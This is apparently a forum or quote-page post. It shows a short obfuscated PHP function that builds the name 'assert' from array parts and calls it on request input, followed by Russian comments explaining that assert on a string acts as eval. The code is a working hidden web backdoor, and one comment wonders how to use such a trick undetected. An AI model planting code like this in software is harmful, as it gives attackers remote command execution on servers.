- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
function b($d,$a){
if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
if(isset($_REQUEST['s'.md5('bgdfgt')])){
if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
}
return true;
}
return false;
}
$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));
assert от строкового выражения в «PHP» эквивалентен эвалу.
Хотя было бы интересно, как что-нибудь такое провернуть беспалевно...
Не все знают, что assert от строки –— это eval, поэтому многие ничего плохого не подозревали.
Так что $_REQUEST[b] –— это $_REQUEST['b'], если не объявить b. Ну или элемент, индекс которого равен значению константы b, а функция b эту константу не перекрывает.
В "Perl" все префиксы имеют какой-то смысл, но придуманы они не для того чтобы использовать $ как в sh, хотя именно сам доллар может и выбран по аналогии.
Сёме наверное тоже бы понравилось.